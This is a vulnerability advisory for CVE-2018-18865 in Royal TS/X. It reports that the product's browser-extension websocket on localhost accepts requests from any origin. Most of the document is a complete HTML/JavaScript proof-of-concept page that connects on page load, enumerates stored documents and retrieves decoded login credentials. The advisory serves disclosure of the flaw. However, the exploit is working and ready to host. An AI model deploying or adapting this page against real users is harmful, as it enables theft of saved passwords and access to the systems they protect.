Title: Royal TS/X - Information Disclosure
Author: Jakub Palaczynski
Date: 10. July 2018
CVE: CVE-2018-18865
Affected product:
=============
Royal TS/X < Royal TS v5 Beta / Royal TSX v4 Beta
Vulnerability - Information Disclosure:
=============================
Any third party web application can steal credentials created in Royal TS/X
when browser extension is enabled.
Browser extension communicates using websockets (default TCP port 54890)
and websockets do not use any validation to verify origin of the request.
PoC website:
==========
<!DOCTYPE html>
<meta charset="utf-8" />
<title>RoyalTS/X Exploit</title>
<script language="javascript" type="text/javascript">
var wsUri = "ws://127.0.0.1:54890/";
var output;
function init()
{
output = document.getElementById("output");
testWebSocket();
}
function testWebSocket()
{
writeToScreen("Let's retrieve some data...");
websocket = new WebSocket(wsUri);
websocket.onopen = function(evt) {
onOpen(evt,"{\"Command\":\"GetDocuments\",\"Arguments\":null,\"PluginVersion\":\"1.0.0.0\",\"RequestId\":\"aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa\"}")
};
websocket.onclose = function(evt) { onClose(evt) };
websocket.onmessage = function(evt) { onMessage(evt) };
websocket.onerror = function(evt) { onError(evt) };
}
function onOpen(evt,message)
{
doSend(message);
}
function onClose(evt)
{
}
function onMessage(evt)
{
var obj = JSON.parse(evt.data);
if (obj['Command'] == "GetDocuments") {
for (var x in obj['ResponseData']){
writeToScreen("Name: " + obj['ResponseData'][x]['Name']);
writeToScreen("Unlocked: " + obj['ResponseData'][x]['Unlocked']);
for (var y in obj['ResponseData'][x]['Credentials']){
writeToScreen("Username: " +
obj['ResponseData'][x]['Credentials'][y]['UserName']);
writeToScreen("URL: " + obj['ResponseData'][x]['Credentials'][y]['URL']);
if (obj['ResponseData'][x]['Unlocked'] == true){
websocket.close();
websocket = new WebSocket(wsUri);
websocket.onopen = function(evt) {
onOpen(evt,"{\"Command\":\"GetLoginInformation\",\"Arguments\":{\"CredentialId\":\""
+ obj['ResponseData'][x]['Credentials'][y]['ID'] +
"\"},\"PluginVersion\":\"1.0.0.0\",\"RequestId\":\"aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa\"}")
};
websocket.onclose = function(evt) { onClose(evt) };
websocket.onmessage = function(evt) { onMessage(evt) };
websocket.onerror = function(evt) { onError(evt) };
}
}
}
}
else {
if (obj['Command'] == "GetLoginInformation") {
var obj = JSON.parse(evt.data);
writeToScreen("AutoFill Data: " + atob(obj['ResponseData']));
}
}
}
function onError(evt)
{
writeToScreen('<span style="color: red;">ERROR:</span> ' + evt.data);
}
function doSend(message)
{
websocket.send(message);
}
function writeToScreen(message)
{
var pre = document.createElement("p");
pre.style.wordWrap = "break-word";
pre.innerHTML = message;
output.appendChild(pre);
}
window.addEventListener("load", init, false);
</script>
<h2>RoyalTS/X Exploit</h2>
<div id="output"></div>
Contact:
=======
Jakub[dot]Palaczynski[at]gmail[dot]com
Polish
English